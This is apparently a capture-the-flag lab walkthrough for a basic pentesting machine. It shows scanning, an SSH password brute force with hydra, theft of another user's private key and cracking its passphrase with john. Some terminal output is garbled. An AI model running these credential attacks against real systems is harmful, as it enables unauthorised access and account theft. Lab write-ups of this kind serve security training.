Easy notes - Basic Pentesting

Enumeration

ping

```
    ~ ping $IP -c 4

PING 10.10.152.125 (10.10.152.125) 56(84) bytes of data.
64 bytes from 10.10.152.125: icmp_seq=1 ttl=63 time=16.7 ms
64 bytes from 10.10.152.125: icmp_seq=2 ttl=63 time=16.6 ms
64 bytes from 10.10.152.125: icmp_seq=3 ttl=63 time=16.7 ms
64 bytes from 10.10.152.125: icmp_seq=4 ttl=63 time=16.5 ms

--- 10.10.152.125 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 16.517/16.626/16.702/0.068 ms
```

nmap

```
→ ~ nmap $IP

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-09 10:38 GMT

Nmap scan report for 10.10.152.125

Host is up (0.017s latency).

Not shown: 994 closed tcp ports (conn-refused)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

8009/tcp open ajp13

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
```

ports 139/445 samba

Basic:

Checkout share:

Staff.txt file:

⁴ Announcement to staff: PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!) -Kay

Two user names Jan and Kay.

website

Port 80:

Undergoing maintenance

Please check back later

Source code:

```
<html>
<h1>Undergoing maintenance</h1>
<h4>Please check back later</h4>
<!-- Check our dev note section if you need to know what to work on. -->
</html>
```

So possible dev/development site.

Port 8080:



Source code did not provide any addition information other than a default Apache Tomcat front page.

gobuster

So this time we can see the development directory.

website

/development

Index of /development

Name	Last modified Size Description
Parent Direc	tory -
dev.txt	2018-04-23 14:52 483
j <u>.txt</u>	2018-04-23 13:10 235
Apache/2.4.18 (U	Jbuntu) Server at 10.10.152.125 Port 80

dev.txt file:

" 2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat to host that on this server too. Haven't made any real web apps yet, but I have tried that example you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm using version 2.5.12, because other versions were giving me trouble. -K 2018-04-22: SMB has been configured. -K 2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt file:

⁴ For J: I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP. -K

weak password

So we know that Jan has a weak password, so let us attempt to try cracking it on ssh with rockyou.txt.

```
→ ~ hydra -l jan -P /usr/share/wordlists/rockyou.txt -vV $IP ssh

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service

organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-09 10:59:37

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks:

use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per

task

[DATA] attacking ssh://10.10.152.125:22/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[INFO] Testing if password authentication is supported by ssh://jan@10.10.152.125:22

[INFO] Successful, password authentication is supported by ssh://lo.10.152.125:22

[ATTEMPT] target 10.10.152.125 - login "jan" - pass "123456" - 1 of 14344399 [child 0] (0/0)

[ATTEMPT] target 10.10.152.125 - login "jan" - pass "margarita" - 781 of 14344400 [child 12] (0/1)

[22][ssh] host: 10.10.152.125 login: jan password: armando

[STATUS] attack finished for 10.10.152.125 (waiting for children to complete tests)

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 1 final worker threads did not complete until end.

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-09 11:06:46
```

So now we know Jan's password is armando

So we can't access Kay's pass.bak file. Let's quickly check the rest of her files:

```
jan@basic2:/home/kay$ ls -la

total 48

drwxr-xr-x 5 kay kay 4096 Apr 23 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .

drwxr-xr-x 4 root root 4096 Apr 19 2018 .bash_listory

-rw-r-r-- 1 kay kay 220 Apr 17 2018 .bashrc

drwxr-xr-2 kay kay 4096 Apr 17 2018 .bashrc

drwxrwxr-x 2 kay kay 4096 Apr 23 2018 .lesshst

drwxrwxr-x 2 kay kay 4096 Apr 23 2018 pass.bak

-rw-r--- 1 kay kay 57 Apr 23 2018 pass.bak

-rw-r--- 1 kay kay 655 Apr 17 2018 .profile

drwxr-xr-x 2 kay kay 4096 Apr 23 2018 .ssh

-rw-r--- 1 koot kay 538 Apr 23 2018 .suminfo

jan@basic2:/home/kay$ cat .ssh/id_rsa

----BEGIN RSA PRIVATE KEY----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IONb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr40NGUANKCRxg3+9vn6xcujpzUDuUtlZ

09dyIEJB4wUZTueBPsmb487RdFVKTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN

-snipped

6of*SDLuIOhCVzsw/DIUrF+4liq3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC

3J11/ZW33Cb76R75sG5h6Q4M8gu5c/Mocdq16H9MHwpdin9OZTq02zNxFypuXthY
----END RSA PRIVATE KEY-----
```

Using nano we create the id_rsa in /tmp and then change modify the file by making it a 600.

```
jan@basic2:/tmp$ chmod 600 id_rsa
jan@basic2:/tmp$ ssh -i id_rsa kay@localhost
Could not create directory '/home/jan/.ssh'.
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn40PL7GN/DuVHVv00lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa':
```

So we need a passphrase. Let's look at cracking the private file. First we need to get the id_rsa file ready for JtR. In this case we will use ssh2john to pass to a hash file.

```
→ ssh2john id_rsa > hash
```

Now looking at the result, we can see that it is ready for john to crack:

```
→ cat hash
id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838
d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62
e46b60a77e3cfc2e5bfe14c69db0d5d1be3c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae4
0d2bf15f36dd7d702400dfb74f9154e3d00................
```

The JtR command will use the rockyou.txt as it was mentioned that it was a simple password to break:

```
→ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes

Cost 2 (iteration count) is 1 for all loaded hashes

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

beeswax (id_rsa)

1g 0:00:00:00 DONE (2022-11-09 15:37) 50.00g/s 4137Kp/s 4137Kc/s 4137KC/s behlat.bammer

Use the "--show" option to display all of the cracked passwords reliably

Session completed.
```

So now we have the id_rsa passphrase. If we return to the last point where it asks for the phrase, we get access on entering the answer.

```
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

With that we gain access to Kay's account and then the password backup file.